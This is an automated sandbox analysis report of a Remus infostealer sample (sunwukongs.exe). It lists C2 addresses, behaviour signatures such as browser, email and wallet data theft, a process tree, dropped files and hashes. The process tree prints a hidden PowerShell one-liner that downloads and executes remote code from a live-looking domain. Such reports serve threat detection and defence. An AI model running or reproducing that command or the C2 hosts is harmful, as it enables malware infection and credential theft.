Analysis

  • max time kernel
    298s
  • max time network
    300s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    07/06/2026, 12:33

General

  • Target
    sunwukongs.exe
  • Size 3.0MB
  • Sample260607-prjmlsez4x
  • SHA256 0ab83feefb3ea1ba67dd9834bb489ca3c9ad311a49f3afa1e1ba9b72de22ef76
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remus_stealer

C2
  • http://repqst.shop:7688

  • http://youngel.biz:8768

  • http://carogra.biz:4219

Signatures

  • Family: Remus

    Remus is a stealer written in C++.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\sunwukongs.exe
        "C:\Users\Admin\AppData\Local\Temp\sunwukongs.exe"
        2⤵
        • Downloads MZ/PE file
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4440
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -wi h -ep b -c iex(irm https://muaklekcoop.com/js/java.php)
          3⤵
          • Badlisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2020
          • C:\Users\Admin\AppData\Local\Temp\kdq5yVrLx481uINR.exe
            "C:\Users\Admin\AppData\Local\Temp\kdq5yVrLx481uINR.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3704
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --new-window
        2⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2104
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffd0c68c728,0x7ffd0c68c734,0x7ffd0c68c740
          3⤵
            PID:1324
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1812,i,10512689529186537683,10308357472779641615,262144 --field-trial-handle=2056,i,4593486831990031571,7769387284534208712,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2052 /prefetch:2
            3⤵
              PID:4380
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1684,i,10840127996160596033,3331929220088000839,524288 --field-trial-handle=2056,i,4593486831990031571,7769387284534208712,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2316 /prefetch:3
              3⤵
              • System Time Discovery
              PID:1956
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,7860641327437600372,8755619522499866789,524288 --field-trial-handle=2056,i,4593486831990031571,7769387284534208712,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=2584 /prefetch:8
              3⤵
                PID:2628
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,15983276041119313527,11318631100998657584,2097152 --field-trial-handle=2056,i,4593486831990031571,7769387284534208712,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3224 /prefetch:1
                3⤵
                  PID:4956
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3244,i,8805393051831074744,16868738691066763765,2097152 --field-trial-handle=2056,i,4593486831990031571,7769387284534208712,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=3284 /prefetch:1
                  3⤵
                    PID:4512
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4256,i,2009636831473529776,2151902759025364446,2097152 --field-trial-handle=2056,i,4593486831990031571,7769387284534208712,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4288 /prefetch:2
                    3⤵
                      PID:4712
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3868,i,12166505184892469846,14307523943437281315,2097152 --field-trial-handle=2056,i,4593486831990031571,7769387284534208712,262144 --variations-seed-version=20260513-010036.937000-production --mojo-platform-channel-handle=4576 /prefetch:1
                      3⤵
                        PID:4072
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:1252

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 cf868e85ef28989d335631cd884818b0ae0c84a90aab992a6394810cfc2178be
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __PSScriptPolicyTest_0z50nz3i.ebr.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0z50nz3i.ebr.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          kdq5yVrLx481uINR.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\kdq5yVrLx481uINR.exe
                          • Size 1.1MB
                          • SHA256 639b0811c9f109328398efe15d75f3b2144af3c3286783f39247721e2415b689
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/2020-10-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-12-0x00007FF4D59D0000-0x00007FF4D59E0000-memory.dmp

                          memory/2020-20-0x0000017DBE8C0000-0x0000017DBE8CA000-memory.dmp

                          memory/2020-94-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-26-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-27-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-28-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-11-0x0000017DBEE90000-0x0000017DBF052000-memory.dmp

                          memory/2020-1-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-7-0x0000017DA59E0000-0x0000017DA5A02000-memory.dmp

                          memory/2020-51-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-0-0x0000017DA3B30000-0x0000017DA3B40000-memory.dmp

                          memory/2020-57-0x00007FF4D59D0000-0x00007FF4D59E0000-memory.dmp

                          memory/3704-52-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-99-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-54-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-55-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-56-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-44-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-43-0x0000000000B60000-0x0000000000B61000-memory.dmp

                          memory/3704-111-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-95-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-96-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-97-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-98-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-100-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-101-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-106-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-105-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-104-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-103-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-102-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-53-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-107-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-109-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-110-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/3704-112-0x0000000000E80000-0x0000000000F53000-memory.dmp

                          memory/4440-21-0x000001A87BF10000-0x000001A87BF4C000-memory.dmp